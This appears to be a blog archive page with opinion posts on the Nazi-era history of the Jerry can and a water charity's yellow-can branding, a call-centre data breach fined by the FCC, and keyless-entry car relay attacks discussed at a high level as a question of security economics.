Skip to content

The Story behind the yellow Jerry can

Part two in a three part series. (Part one and part three)

Once upon a time I sailed half-way across the Pacific Ocean with the typical yellow fuel can lashed to the deck.

yellow cans on deck

The yellow Jerry can has specific meaning to me — diesel fuel — which I thought was a standard. Yet recently I found a charity worker showing me yellow cans of… water with smiling children.

Stock photos of happy smiling children, poor children, playing with yellow cans; this looked weird and manipulative to me. I wanted to see charts of health and safety data from operations. What trends does this charity see?

Flashy photos provided questionable value to me, or the opposite…made me curious about what might really be lurking beneath such shallow propaganda:


Clearly I am meant from these obviously staged photos to accept that yellow Jerry cans used by children for water is some kind of normal; the unsettling appearance of a fuel can in the hand of smiling children supposedly can be seen “everywhere”, as they have written without irony:

You’ve seen it everywhere on our site, at our events, on our shirts… tattooed on our arms… and although the Jerry can has become a mainstay for our staff and supporters, we want to let you know what it actually is and why it’s a symbol of the charity: water mission.

The diesel can a symbol of a water mission? “Our site, our events, our shirts, our arms”. Note the emphasis on “our” mainstay, rather than a mainstay of the people being helped. My definition of everywhere is a bit broader. Is this a mission to convince staff and supporters that a yellow can should become a symbol of water or that it already has? Because…why?

Something smelled funny. Globally I had learned in my travels, regardless of continent or sea, yellow cans meant one thing, and it was NOT water. Yellow often is used for warning signs; first-hand experience around the world has associated yellow cans with sickening slicks and fumes of poison.

Red gasoline cans, yellow diesel cans. Those are the ones you DO NOT DRINK from let alone touch and breathe. Often we would end up scrubbing and wiping the nearly permanent mess of petroleum around those cans.

And yet, because standards change, I still am open to be convinced otherwise if someone can show data.

Surely there are cases (no pun intended) where options are limited, and people have to make do with what little they have. Reuse of fuel cans for water? Sounds like an indicator of desperation or lack of regulation. Is this evidence of the need for many more white or blue cans?

Globally white and blue are used to symbolize health and safety (e.g. Blue Cross, Blue Shield, U.N. Department of Peacekeeping Operations blue hats and helmets, as well as the white helmets with blue suits of disaster relief workers)

"clouds in the sky" white helmets and blue suits means safe. yellow means warning or caution

Singapore disaster team prepares for Nepal. White helmets and blue suits (“clouds in the sky”) indicates neutral or safe. Yellow indicates warning or caution.

I mean we are talking about a charity here, where setting a new standard of good is supposed to be the mission, especially where health risks are found. For a charity with wealthy backers and industrial input the choices obviously are many, so the standard should be high. There is great risk in using charity to reinforce harmful behavior.

Confused by charity workers flashing smiling kids in your face to get your money? Me too.

How did someone decide, of all the options, to adopt yellow cans as a sign of health, a symbol for “clean” anything? And why are they just showing stock photos to get donations instead of any real data?

What comes next, bright red oil barrels for charity:meal?


Let’s forget I asked that…although to be fair red in this case could make sense to warn people about heat and to stay away from the barrels.

I searched for answers and some history on can safety. Either I would become convinced that it now is safe for people to drink from yellow cans, and it is safe to give this charity money, or that existing standards need to be defended and propaganda exposed.

My search led to some very interesting surprises.

The charity website reduced my confidence in their ability to collect and analyze data, for example. You might say my opinion worsened as I read through apologetic narratives about Nazi Germany. Here are several examples, paragraph by paragraph, of what I found and why this charity is so wrong:

Charity:Water Example one

To most people, this simple metal or plastic can means ‘gasoline,’ and rightfully so — the first Jerry cans were introduced as gasoline containers by the German military at the start of World War II.

There was some kind of war, a second world war, and this military from Germany that had to go to war also had some need for gasoline, see…


Jerry cans existed during the Spanish Civil War of 1936, years prior to the start of WWII. These cans served both as fuel and water containers, which we know because they were stamped with clear markings for their purpose.

Germany was involved with and supported other fascist militarism. Someone within the growing Nazi war machine was looking at how to improve a fuel can long before Hitler mobilized troops on 15 March 1938 (passive capitulation of Czechoslovakia) or 1 September 1939 (1.5 million marched into Poland, conquering 140 miles in just one week).

I believe the real story goes to lessons in vehicle support and supply containers (e.g. evaporation/expansion) derived from Italian invasion (3 October 1935) of Ethiopia and there is evidence cans were modified and tested during Nazi support for fascists in the Spanish Civil War (17 July 1936).

Handling chemicals in extreme conditions had forced Italy and Spain to innovate their cannister technology. For example the Italians had developed new mustard gas and new bombs to drop on hospitals and ambulances flying the red cross (infamously killing Swedish medical leaders Fride Hylander and Gunnar Lundström).

1936 Dolo Ethiopia Italian Bombing Killed Dr Lundstrum in Ambulance

This day is still called “darkest in the history of the International Red Cross“; worth reading if you want to get a sense of how in 1936 a rapidly expanding fascist offensive led to a quickening pace of technology change.

Does the can mean gasoline? The phrase “to most people” used by this charity indicates they have some kind of data or source to check, yet none is provided.

I would say to most people the Jerry can means more than gasoline. It means a variety of fuels and even water. My data on this is based on search engines where the top results are “Jerry Cans – Fuel, Water, Diesel, & Accessories” and “can be used for fuel and drinking water”. The word gasoline does not come up easily.

It is true that 1930s Germany used gasoline for their vehicles. However even they stamped their fuel cans with the generic word Kraftstoff (fuel) or with Wasser (water). The Wasser cans also were painted with broad white lines to ensure it could not be confused with Kraftstoff.

This says to me that today’s use of yellow color on a can would, like the Nazis originally intended, help differentiate unsafe fuel cans. Here is what a Nazi water can, stamped with Wasser and painted with white lines, looks like:


So to most people I think it fair to say the Jerry can means various liquids, not simply gasoline, and most people expect consistent symbols and use to avoid mixing them.

Moving everyone to think of yellow as safe for water seems doable, although expensive and risky, as it really has to be clear where diesel and water are to be found. It seems like a lot of extra work/cost because of confusion, as a friend recently put it:

Whoever made the almond-milk carton the exact same shape as the chicken-broth carton should have to eat this cereal.

Labeling/testing yellow Jerry cans on a massive scale as safe for water seems much, much more complicated and risky than just continuing to use the existing standard of white or blue water cans.

Charity:Water Example two

These five-gallon cans, also called ‘Jeep cans’ or ‘blitz cans’ (or, in Germany, ‘Wehrmachtskanisters’) were made of steel and usually sat in the back of vehicles as a reserve tank of gas.

In Germany there were these things with a funny German name in the back of vehicles, kind of like a Jeep, used for an afternoon blitz…


Wehrmachtkanisters means “army can”. Fascists who initiated war without provocation strapped multiples of cans to the side of their vehicles during invasions of foreign countries. In theory the blitzkrieg (German for “lightning war”) was a strategy of very brutal and fast advances to rout an enemy before they could respond.

Obviously there is less surface area in back (width versus length of a vehicle) so lashing cans to the sides has many advantages: leaves space available and makes use of open spaces, balances weight more evenly, while keeping nasty toxic fuel away from doors, passengers and gear. Use of the sides also means the back can be used for less durable/convenient assets and for giant doors and loading (e.g. troop deployment from trucks).

You may notice the white broad lines on some cans, clearly indicating Wasser instead of Kraftstoff.

Bundesarchiv_Bild_101I-022-2926-07,_Russland,_Unternehmen_"Zitadelle",_VW_Kübelwagen Bundesarchiv_Bild

You will find the same behavior on a boat that has to cross an ocean, as you saw at the start of this story. Reserve cans are balanced on either side, not in the back. It would be stupid to weigh down the back of a vehicle/boat with a dozen cans when sides are empty.

Now lets talk about gallons. Jerry cans are 20L capacity and stamped with this unit — about 5.28 US gallons or 4.40 UK gallons. Jerry cans were not “5 gallons” as Charity:water seems to believe. I find it very odd an international organization would use gallons, let alone not specify a system of gallons. Liters are the original and obvious measurement. Someone thinking in gallons has imposed a very narrow and inaccurate perspective over reality.

In terms of material the cans were not only steel; what made Jerry cans most notable in terms of material was a synthetic lining unlike other metal cans. Plastic cans, or even kevlar-lined battle containment for fuels, today could perhaps be linked to the synthetics of the Jerry can.

In terms of brand association, Jerry cans weren’t used by Jeeps until many years later. I am not sure why Jeep gets brought in so subtly next to “blitz cans”. It strangely brands a pre-existing can with a trademark of a specific American vehicle despite the cans not being developed for it originally and being used much more widely. Perhaps Charity:water is thinking ahead about the power of branding and hopes someday we’ll call them Charity:cans?

Speaking of American trademarks, “Blitz” reminds me of a sad and strange twist in history. As I explained above the word means lightning in German; a military campaign tactic attributed to the Nazis. It also refers to a specific 1940 bombing campaign meant to demoralize the British by killing civilians and destroying industry. Not the best connotations. With that in mind an American manufacturing company made the odd decision to adopt it as a name for their “improved” version of Jerry cans.

Originally a US metal container company that made Jerry cans in the 1940s used the words “metal container” in their name. They grew so large and successful that 50 years later the vast majority of American fuel cans were made at this “U.S. Metal Container” (UMC) company. When UMC moved its production away from metal to making only plastic cans in the 1990s they changed their name.

Instead of just switching to the acronym UMC, which would have been clever and celebrating American military history, they adopted the infamous Nazi term “Blitz” as their name because, well, UMC was located in Oklahoma. It should be no secret that neo-nazis and Hitler apologists lived an open life in Oklahoma. But I digress…

Anyhow after changing its name to the Nazi “Blitz” and moving everything to plastic production this venerable Jerry can manufacturer (that perhaps even helped defeat Nazi Germany) soon filed for bankruptcy.

“Blitz” said it could not survive the dozens of lawsuits over its defective cans that were exploding and killing Americans. I told you there was a twist.

Charity:Water Example three

It’s said that Adolph Hitler anticipated the biggest challenge to taking over Europe in WWII was fuel supply. So Germany stocked up.

False and super annoying.

Look, this is very wrong for many reasons. I don’t expect to read charitable thoughts on Hitler from a supposed “charity” site. WTF. No really, WTF.

Also I find “it’s said” to be an unacceptable start to a pro-Hitler sentence that lacks any citation. Who said Hitler anticipated…what? Hitler was an insane dictator and deserves no glorifications. I should not need to cover this.

Nonetheless, it is easy to see how badly that fascist leader sucked at planning. The USAF points out he took his country to war with an acute fuel shortage and massive dependence on imports:

At the outbreak of the war, Germany’s stockpiles of fuel consisted of a total of 15 million barrels.

That is basically nothing, given their rate of consumption, and fuel was expected to run out by 1941. Two years after starting the war, stupid Hitler lacked a plan to continue supplying fuel. Cans clearly were not meant to solve the macro challenge.

Actually I’m getting ahead of myself. Assuming a rapid assault that would last only a few weeks or months then yes, perhaps, a large stock of cans would be decisive in lieu of actual fuel supplies. However, anyone anticipating the “biggest challenge” would have probably considered campaigns getting bogged-down or stuck and contemplate future fuel origination options beyond a better container to move it around in.

It makes far more sense to me that some middling Nazi official was eager to solve a small and obvious part of logistics that they were focused on. There was a little fuel distribution problem, they saw it in 1935 or 1936 fascist invasions, and they set about a new can design. Even translating that into a massive pile or distribution of their cans does not equate to truly anticipating the major issues ahead.

I mean of course fuel did not pose the “biggest challenge” to taking over Europe.

This claim is so absurd I don’t even know where to begin. Put it in reverse perspective: having solved fuel supply alone would not have won the war for the Axis. It was not the single deciding factor. It was a factor among many, with the other factors often being far more in focus and difficult.

A Hitler “anticipation” theory simply does not fit with one of the greatest fuel blunders of all time, Operation Barbarossa, to attack more to the East. Consider that more than 600,000 Nazi horses were relied upon in 1941 as vehicle logistics failed; a lack of standardization, split and confused leadership and overly-optimistic ideas of a “lightning” fast victory undermined Nazi supply chains. This was after the 1940 “Blitz” against London had failed its objectives.

The simple fact is from June to December 1941 the result was “half-starved and half-frozen; out of fuel and ammunition.” It was the opposite of some kind of brilliant anticipation and stocking up early.

Charity:Water Example four

As Germany moved through Europe and North Africa, so did their thousands of gasoline cans. These cans proved to be dependable and durable; soon, countries all over the world were adapting them to haul and store liquids, coining them ‘Jerry cans’ because of their German origin (‘Jerry’ was a snide name for a German WWII soldier). New water container designs emerged but nothing could top the strength and simplicity of the original rectangular, X-marked Jerry can.


Obviously there were more than thousands of cans. The discovery of the Jerry can did not lead directly to adoption by the Allies. I sense some odd reverence for Nazis, even to the point of trying to apologize for “snide” names. Snide? Is this a concern without context? War against fascism, let alone against genocide, perhaps invites derision?

“Jerry” actually was a term used by Allies during WWI supposedly because the German helmet resembled a British jerry (chamber pot). In that sense a Jerry can is actually still a reference to its contents being toxic or at least unpotable.

As far as “new water container” designs I must again point out the original Jerry can also was used for water, with a designated stamp on the can to differentiate from fuel cans as mentioned above.

So with all that nonsense from Charity:water set aside, let me turn to an actual history of the yellow Jerry can. This is perhaps how I would update their page.

Jerry can design innovations

Jerry cans improved greatly upon prior cans, yet are quite simple in retrospect — better durability and portability. This can be explained with a couple short stories from the Allied perspective on winning WWII.


Paul Pleiss was an American engineer in Berlin who in 1936 had discovered a new can while planning to take a huge road trip (see part three of this series). He quickly realized its benefits first-hand. After his road trip, Pleiss spent the summer of 1939 to the summer of 1940 trying to convince the US military to adopt a new can.

American leadership was reluctant, without evidence or proof; they saw no need to alter current production. Only after Pleiss brought a can to show in person and demonstrate, and after the US considered field reports and shortcomings in their North Africa campaign (similar to the experiences of Italy during the 1935 invasion of Ethiopia) did the Jerry can come into better reception.

Things really shifted in 1942 when field qualitative reports backed by quantitative evidence showed US leaders that nearly half of fuel in Egypt was lost due to can failure. Despite sizable impacts recorded in desert battle outcomes in the preceding years (i.e. Wavell 1940, Auchinleck 1941, Montgomery 1942) measured data is what really hit home for the Americans.

…we sent a cable to naval officials in Washington stating that 40 percent of all the gasoline sent to Egypt was being lost through spillage and evaporation. We added that a detailed report would follow. The 40 percent figure was actually a guess intended to provoke alarm, but it worked. A cable came back immediately requesting confirmation.

So six years after Italy’s campaign in Ethiopia had led to German army equipment design changes, the US reached the same conclusions — fighting in North Africa needs a good fuel can.


The British appear to have ignored can design during the 1936-1939 innovation period. At the start of WWII hostilities a “flimsy” can prone to failure and mess was the UK standard. Still a better Jerry can design only came to light for them in the aftermath of French General Gamelin troops withering in 1940, leaving Britain alone to fight the Germans.

An over-extended and fragile but fast German blitzkreig had led to more careful British study and eventual realization that fuel portability had surely impacted performance. Another example, a similar study of the impact of new technology, was the use of radios by German tanks to update plans with “agile” development (peer communication) instead of waterfall (from the top).

The better containers meant much faster deployments. For example a can with a single handle is inferior to multiple handles when considering a line of soldiers trying to “bucket brigade”. Side handles meant two people could grab a can at the same time, or a single person could grab two with one hand. Faster can opening times mattered, as did less spillage during fuel transfer.

The German designer

Put the British and American realizations together and you get what I believe to have been the same thing that happened to the Germans in November 1936. An Italian invasion into northern Africa sparked the need for improvement, which then was tested during war in Spain.

Someone in Nazi Germany’s military administration invited Vinzenz Grünvogel of Müller to apply for a “Wehrmachtskanister” contract. Given the prior work of Müller with Ambi-Budd Presswerk (German for “pressed metal manufacturing”) the Jerry can method of manufacture probably was a derivative more than a novelty.

So it was with the 1936 Italian vehicles crossing rough African territory in mind that led to these specifications:


  • 465mm tall
  • 340mm wide
  • 20L capacity
  • 4kg dry weight
  • easy to stack
  • easy to manufacture (two plates pressed)
  • easy to carry (one soldier = two full, four empty) +
    (two soldiers = three for bucket brigade speed of transfer)


  • shock (recessed welds)
  • corrosion (synthetic lining)
  • float (air pocket “bump”)
  • pour (short spout)
  • seal (cam with lock)
  • expand (50deg max)

From the list and field experience it should be easy to see why the design has lasted.

Ultimately the cans were manufactured by dozens of companies subjected to Axis rule (Müller, Presswerke, Metalwerk, Nowack, Fischer, Schwelm, etc) and after 1942 by many other companies.

Symbols and markings

Lets go back to the idea of keeping people safe from toxic contents. As I mentioned the Germans stamped cans with “Wasser” (water) or “Kraftstoff” (fuel).

Despite a stamping process there also can be found a white W to indicate “winter” fuel (Winterkraftstoff) on later cans. This reiterates the importance of clear labeling to the original designers. It also points again to a lack of overall planning and preparation mentioned above (Hitler apparently refused to believe war would last into winter).

And that brings us to the creation of the yellow Jerry cans, a warning color for fuel. How should cans with different contents safely be identified? Is there a standard?

The answer is yes and no. Standards tend to evolve. Generally they have run something like this.


  1. Gasoline – Red
  2. Diesel – Yellow
  3. Drinking water (potable) – White
  4. Alt Fuels (Kerosene, JP Jet Fuel, Heli, M1 Meth, etc) – Blue
  5. Non-potable water – Green

Modern (e.g. 2005 California):

  1. Gasoline – red;
  2. Diesel – yellow; and
  3. Kerosene – blue

A typical set of Jerry can color options today:

jerry can colors

Does red look better with your shoes than green? Should we use colors for fashion sense not functional safety because of toxic chemicals?

As far as I can tell standards of color were centered on safety and clarity. Charity:Water uses yellow cans because fashion, and probably convenience, not because of grounded concerns about health and finding the best solutions. I mean has anyone studied the impact of using the correct color cans for water versus reinforcing use of yellow cans? Definitely did not find that on the charity site.

A water charity adopting a yellow can makes about as much sense to me as saying people in need drinking contaminated water should keep doing it because tradition. I’d just drop the color, if I were advising them. It is easy to switch a logo from solid yellow to white, especially since white cans conform to traditional safety standards.

Again, I want to be clear I am not opposed to change or redefinition of standards; here is a clever new white Jerry can:


My concern is with a charity pushing a global campaign that uses a dangerous/toxic liquid indicator as a symbol of clean water. Something seems odd about that decision.

Starting from my basic gut instinct it seems counter-productive to a charity objective to use confusing health/danger symbolism. This especially feels true for a charity that knows how to use imagery for power because they spend money to orchestrate images of smiling children. Moving to deeper analysis I found a very weak grasp of history, a whitewash of Hitler and the Nazis; this group asking for money may be seriously divorced from reality or real facts on the ground about social impact.

More on that…another day.

If you have made it this far (thanks!) you’re ready for a pop-quiz:

Given this typical image showing the various Jerry can colors…

…what word would you put after the word “charity”?

Feel free to put your answer in the comment section below.

Go back to part one or continue to part three in this series…

Posted in Energy, History, Security.

The story behind the Jerry can

Part one in a three-part series.

You may have heard a story about the Jerry can. Perhaps it goes something like Hitler was such a brilliant strategist that in 1936 he personally called forth an engineer to create a nearly perfect fuel can, which we still use to this day.

As a student of history I find this story nearly impossible to accept, not to mention as a humanist I find it a load of apologist nonsense about a genocidal maniac.

Why 1936, to begin with? Why did other countries take so long to follow? And how could Hitler’s grand supply-chain foresight three years before mobilizing for war with Poland fit into the many infamous Nazi fuel planning disasters that crippled the overall war effort?

No, Hitler wasn’t good at planning. No, Hitler wasn’t good at listening and adapting.

A more plausible story is that someone, probably a German soldier or mercenary assisting with Italian and Spanish fascist war campaigns in 1936, simply grew fed up with gas cans at a micro level. A WWI generation of fuel cans sucked for many reasons (couldn’t be stacked, leaked, couldn’t pour without a mess, couldn’t be carried in bulk).

I believe the archives should show this: from the summer to the fall of 1936, or maybe even earlier, German war management listened to field agents and decided something better was needed. Just like when the Nazis thought about putting radios in tanks for the first time, a decisive advantage in 1940, they also thought about motorized vehicle fuel supply.

It’s very likely some German soldier hated the inefficiency of the prior cans and borrowed or collaborated with Italian and Spanish fascists to find a better one. I see no evidence this can was meant to be a macro strategy for fuel supply management and plenty of evidence that Nazi fuel supply management overall was a disaster. The fact that a better can later was instrumental in battle outcomes was a reflection of grounded principles, not strategic thought.

And so an engineer won a Nazi contract to design a better can on some rather obvious theory of improving durability and portability to increase availability of fuel. Quality of engineering and manufacturing still was high in Germany at that time, despite emigrations and arrests of talent; so the Jerry can was born from a pressed metal factory preparing the Nazi war machine.

Some suggest the can was a military secret. Of course 1936 was full of secrecy to help with propaganda hiding the re-militarization. Hitler was a pathological liar who ran misinformation campaigns, playing a victim card over and over again, making technology secrecy essential. This was a factor.

Even more of a factor was a reluctance of Allies to listen to their field and incorporate feedback. Sending Sherman tanks into battle was an abject lesson in fail-faster because high casualties. Wasted fuel was harder to quantify. Unlike the Japanese however the Americans did adjust if they could see the need or advantage.

It turns out the Jerry can was discovered in 1939 by an American, even before hostilities, due to use at the Berlin airport (a German stole three and shared the technology). The delay in adoption by the Allies is related to their blindness to its value.

It took another four years because leadership of the Allies relied on statistical analysis and probably needed reports formatted with quantitative methods to make a change.

In 1942 an Allied soldier-chemist working on fuel logistics in northern Africa (e.g. facing similar things that soldiers in the Italian campaign of 1936 might have seen) converted qualitative field reports (e.g. old cans suck) into a statistics-based cable to Washington (e.g. we’re losing 40% of fuel before it even gets to the vehicle).

The lesson here is listening to qualitative field reports can inspire innovation in design, and quantitative analysis can show how small and simple changes in efficiency can make a major difference.

I am all ears if someone can find a memo from Hitler calling for a better fuel can and reasons to stockpile. It sounds a lot like revisionist theory to me, as if someone years from now would try to argue that President Obama anticipated social media growth and commissioned Facebook.

My guess based on data is an improved fuel containment design derived as a logical step from soldiers watching their losses during Spanish, Italian and Japanese fascist aggression.

Continue to part two or skip to three in this series…

Posted in Energy, History, Security.

Le Tote: Weather Prediction As Retail

So I’m walking down the street in SF today and someone steps out of a building in front of me. I’m always interested in what’s happening around me so naturally I ask if they work there. This person answers yes and says it’s a bunch of startups, including Le Tote.

“It’s like Netflix for clothes” I am told as a shopping bag is opened to reveal a box.

“We send you clothes we recommend you wear and…” I interrupt to finish the sentence “if you keep them you buy them! Am I right?” They nod yes and smile widely as if they were about to explain something hard and I saved a mountain of effort.

A pregnant moment arrives as I wait for even more congratulations; although I have really just described the age-old mail-order model as it currently exists. The irony of me predicting the end of a sentence, and pointing out a lack of innovation, is lost. They just seem relieved of the chore of explaining something aspiring to be innovative.

Maybe I shouldn’t attempt to find humor in analytics. I ask seriously if they have anything I should try.

“It’s only for women right now” I am told with a disapproving look.

I genuinely wonder out loud about their predictive algorithm: “Why do you assume already I do not want to wear women’s clothes? What if I am transgender? Would you still predict my fashion?”

I am looked at skeptically and offered no answers other than a soft and slow repeat of “if you want to wear women’s clothes…”.

Still curious and since this person is still standing there (presumably at the mercy of a service, a late driver) I press for more. “Nevermind gender fashion definitions, how does your prediction reflect regional differences. For example when someone in Colorado…” they interrupt me to say “we check the weather”.

Weather? Definitely not the end of sentence I had in mind.

I forgo jokes about the weather being perpetually wrong and instead restart my question so I can bring back my ending: “what do you do when someone in Colorado thinks sky-blue is the hot new color, while someone in SF wants orange and green? Can your algos anticipate fashion trends from social or other indicators, given your fashion angle”; tempted to add “not a good indicator of weather”.

Their face grows bright, they lean back, look to the street with an open gaze, suck in an ocean of air and exclaim “WOW WHAT A GREAT IDEA, I WILL SUGGEST THIS IDEA AT OUR NEXT MEETING”. Then they abruptly turn and excitedly run across the street waving a hand.

Now standing alone I yell “so what’s your name” towards the back of a head that nears an Uber parked in the bike lane. “Heather” is the response. Of course it is. And so I continue on my way.

Posted in Security.

Impostors in Your Call Center

As a PCI assessor I was often asked how to protect the personally identifiable information (PII) captured within audio recordings. Call centers, especially very large and distributes ones, tended to end up with giant archives of people talking about payment information. Also packet capture systems such as intrusion detection or network forensics tended to collect payment card data discussed (e.g. using IP phones).

The bottom line (pun not intended) was that working with audio security is an interesting challenge and can add some flavor to the usual job of masking, replacing or encrypting stored data.

And yet despite a body of knowledge in this area, leading to steady improvement in security tools to reduce fraud from audio data, we still see in the news major disasters. I believe this not to be any failure of technology but rather a higher-level management issue: like quality engineering can’t really be blamed on tools as much as attention to details.

Take for example AT&T just has been fined by the FCC $25m for three breaches

In May 2014, the Enforcement Bureau launched its investigation into a 168-day data breach that took place at an AT&T call center in Mexico between November 2013 and April 2014. During this period, three call center employees were paid by third parties to obtain customer information — specifically, names and at least the last four digits of customers’ Social Security numbers — that could then be used to submit online requests for cellular handset unlock codes. The three call center employees accessed more than 68,000 accounts without customer authorization, which they then provided to third parties who used that information to submit 290,803 handset unlock requests through AT&T’s online customer unlock request portal.

One attack would be a problem. Three impostors are a sign of something far more troubling; management is not detecting or preventing active infiltration designed to bypass internal controls and steal valuable data. Organized crime still shows success at either coercing staff or implanting attackers in call centers to leak PII for financial gain. And if three impostors aren’t bad enough, the FCC goes on to document another forty individuals found stealing PII.

Kudos to the FCC for their investigation and subsequent action. I believe it is right for them to emphasize a top-level management approach as a solution.

The people who were caught in the act of stealing (the impostors themselves) will likely go to jail (as was also found in the recent Bechtel executive fraud case). New oversight needs to be forced by regulators at top-levels of company management so they pay better attention to impostors and other attackers stealing PII.

…AT&T will be required to improve its privacy and data security practices by appointing a senior compliance manager who is a certified privacy professional, conducting a privacy risk assessment, implementing an information security program, preparing an appropriate compliance manual, and regularly training employees on the company’s privacy policies and the applicable privacy legal authorities. AT&T will file regular compliance reports with the FCC.

Posted in Security.

Keeping Car Contents Safe From Electronic Key Thieves

Nick Bilton is a columnist for the New York Times (NYT). He published a story today called “Keeping Your Car Safe From Electronic Thieves” and I adapted my blog post title from his.

Perhaps you can see why I changed the title slightly from his version. Here are a couple reasons:

First, his story is about things inside a car being at risk, rather than the car itself being unsafe. Second, and more to the point, the “electronic thieves” are not stealing cars as much as opening doors and grabbing what is inside.

That second point is a huge clue to this story. If thieves were “cloning” a car key, making a duplicate, then I suspect we would see different behavior. Perhaps penalties for stealing cars are enough disincentive to keep thieves happy with stealing contents. But I doubt that. More likely is that this is a study in opportunity.

You could read the full article, or I suggest instead you just read his tweets on April 6th for a more interesting version of what led to the story (meant to be read from bottom to top, as Twitter would have you do):

Nick Bilton @nickbilton · Apr 6
@ejacqui It looks like it’s a broadcasts a bunch of signals to open the car lock. They cost about $100, apparently.
5 retweets 3 favorites

Nick Bilton @nickbilton · Apr 6
@seanbonner @gregcohn @tonx @sacca Fast-forward 10 years and thieves (or pranksters) will be doing this with our homes.
2 retweets 4 favorites

Nick Bilton @nickbilton · Apr 6
@tweets_amanda I tried. I ran after them, but they took off. The cops said it’s easy to get online, whatever “it” is.
0 retweets 1 favorite

Nick Bilton @nickbilton · Apr 6
@r2r @StevenLevy No. A Toyota Prius. Crazy how insecure this “technology” is.
1 retweet 1 favorite

Nick Bilton @nickbilton · Apr 6
@kevin2kelly Yep. Exactly. No broken window, and to a passerby it looks like the thief is in their own car. Scary stuff.
1 retweet 3 favorites

Nick Bilton @nickbilton · Apr 6
@StevenLevy Yep. I chased after them, not to tell them off, but to ask what technology they were using. :-)
4 retweets 24 favorites

Nick Bilton @nickbilton · Apr 6
@noneck Was watching out the window and saw them do it. (I then ran out and yelled at them, and they took off.)
1 retweet 1 favorite

Nick Bilton @nickbilton · Apr 6
@sacca Just did a little research & it’s insane how easy it is to get the device they used. Scary when you think about the connected home.
22 retweets 24 favorites

Nick Bilton @nickbilton · Apr 6
@Beaker A Toyota Prius. It was like watching someone slice into butter. That simple.
1 retweet 5 favorites

Nick Bilton @nickbilton · Apr 6
@schlaf I chased them down and thought, what’s the point. They’re kids. I really wanted to just ask them about the technology! :-)
3 retweets 22 favorites

Nick Bilton @nickbilton · Apr 6
@owen_lystrup Toyota Prius. Don’t get one. Buy an old 1970s car with a key. :-)
3 retweets 10 favorites

Nick Bilton @nickbilton · Apr 6
@trammell Yep. Literally just pressed a button and opened the door. It was bizarre and scary when you think about the “connected home”.
12 retweets 22 favorites

Nick Bilton @nickbilton · Apr 6
@SubBeck Yelled at them and called the cops. The cops sounded blaze by the whole situation.
2 retweets 4 favorites

Nick Bilton @nickbilton · Apr 6
@cowperthwait Toyota Prius. It’s insane that they can literally press a button and open the door.
23 retweets 16 favorites

Nick Bilton @nickbilton · Apr 6
@MatthewKeysLive Nothing; it’s empty. They’ve done it before when I wasn’t around. But I had no idea how they were doing it. Now I know.
3 retweets 5 favorites

Nick Bilton @nickbilton · Apr 6
Just saw 2 kids walk up to my LOCKED car, press a button on a device which unlocked the car, and broke in. So much for our keyless future.

To me there are some fingernails-on-chalkboard annoying tweets in that stream. Horrible attribution, for starters (pun not intended). He says don’t get a Toyota Prius because it must be their fault. Similarly he says our keyless future is over and we should buy something from the 1970s with a key. And then he goes on to attack the idea of a connected home.

This is all complete nonsense.

The attribution is wrong. The advice is wrong. Most of all, the fear of the future is wrong.

Consider that thieves leave a car essentially unharmed (unlike all the smash and grab behavior linked to economic/political issues). This tells us a lot about risk, methods and fixes. It means for example that insurance companies are not likely to be motivated for change. After all, no windows broken and no panels scratched or damaged means no real claims.

In this reporter’s case he even says nothing valuable was in the car. There’s nothing really to tell the police other than someone opened the door and closed it again. A thief who walks up, opens the door, and takes whatever they can from inside the car…this is an encryption/privacy expert’s worst nightmare. This is a lock being silently bypassed with something that amounts to a dreaded escrow or golden key. Given the current encryption debate about backdoors we might have a very interesting story on our hands.


Mind you I tried on April 8th to contact the reporter and add some of this perspective, to indicate the story is really about risk economics and a much broader debate on key management.


Unlike the (dare I say shallow) angle taken by the NYT as something “newsworthy”, a car lock bypass is not new to anyone who pays attention to security or to the mundane reports of people getting their cars broken into. That Winnipeg story I offered the reporter to calm him down is years old. There also were reports in London, Los Angeles and other major city news over the past years describing the same exact scenario and how police and car manufacturers weren’t eager to discuss solutions. The NYT reporter is essentially now stumbling into the same rut.

2013 reports actually followed 2012 news of cars being stolen and disappearing. My guess is the organized crime tools filtered down to the hands of petty criminals and eventually mischievous kids. There is far wider opportunity as motives soften and means become easier. The organization and operation required to fence a stolen car probably shifted first to joy rides, then shifted again to people grabbing contents of cars and eventually to people just curious about weak controls. The shifts happened over years and then, finally, a NYT reporter felt it personally and was rustled awake.

Apparently the NYT did not pay attention to the alarming (pun not intended) trend other reporters have put in their headlines. I did a quick search and found no mention by them before now. It does seem a bit like when crime happens to a NYT reporter the NYT cares much more about the story and frames it as very newsworthy and novel, if you know what I mean.

To really put it in perspective, nearly twenty years ago a colleague of mine had set a personal goal to invisibly open car doors in under five seconds. This is a real thing. He was averaging around seven seconds. General lock picking has since become a more widely known sport with open and popular competitions.

Anyone saying “so much for our keyless future” after this kind of incident arguably has no clue about security in the present let alone the future. Expressing frustration on Twitter turned into expressing frustration at the NYT, which leaves the reader hanging for some real risk analysis.

So that is why I say the real story here, similar to a key escrow angle missed by the reporter, is economics of a fix. Why doesn’t he take a hard look at the incentives and real barriers to build better keyless electronic systems?

The NYT reporter gets so close to the flame and still doesn’t see the problem. For example he mentions that he dug up some researchers (e.g. Aurélien Francillon, Boris Danev and Srdjan Capkun) who had published their work in this area. Isn’t the obvious question then why a key and lock aren’t able yet to fend off an unauthorized signal boost after the problem was detailed in a 2011 paper (PDF): “Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars“?

“Figure 4. Simplified view of the attack relaying LF (130 KHz) signals over the air by upconversion and downconversion. The relay is realized in analog to limit processing time.”

Long story short thieves obviously have realized that keyless entry relies on a primitive communication channel, based on near proximity, between lock and key. The thieves may even have inside access to lock development companies and read technical manuals that revealed assumptions like “key must be within x feet for door to unlock”. Some people would stop at x feet but that statement is a huge hint to hackers that they should try to achieve greater ranges than meant to work.

The simple theory, the one that makes the most sense here, is that thieves are simply boosting the signal to extend the range of keyless entry signal.

First they pull a car door handle, which initiates a key request. Normally the key would be out of range but thieves boost the request much further away. The key could be in the owners pocket inside a restaurant, or a school, on a baseball field, at a park bench, or even in a home.

Second the key receives the door signal and sends its reply.

Third the thieves pull the door handle to open the car.

Simple no?

One might suppose the thieves could press a start button and drive away but then what happens when they shut the engine off many miles from the key? That’s a whole different level of thief as I mentioned above. Proximity means risk/complexity of an attack is lowest if they just invisibly open a door and take small-value items or nothing at all.

Again, insurance companies are not going to jump into this without damage to a car or the car isn’t stolen. Manufacturers likewise have little incentive to fix the issue if there is no damage. A more viable solution, thinking about the economics and market forces, would be to encourage car owners to buy an aftermarket upgrade based on standards.

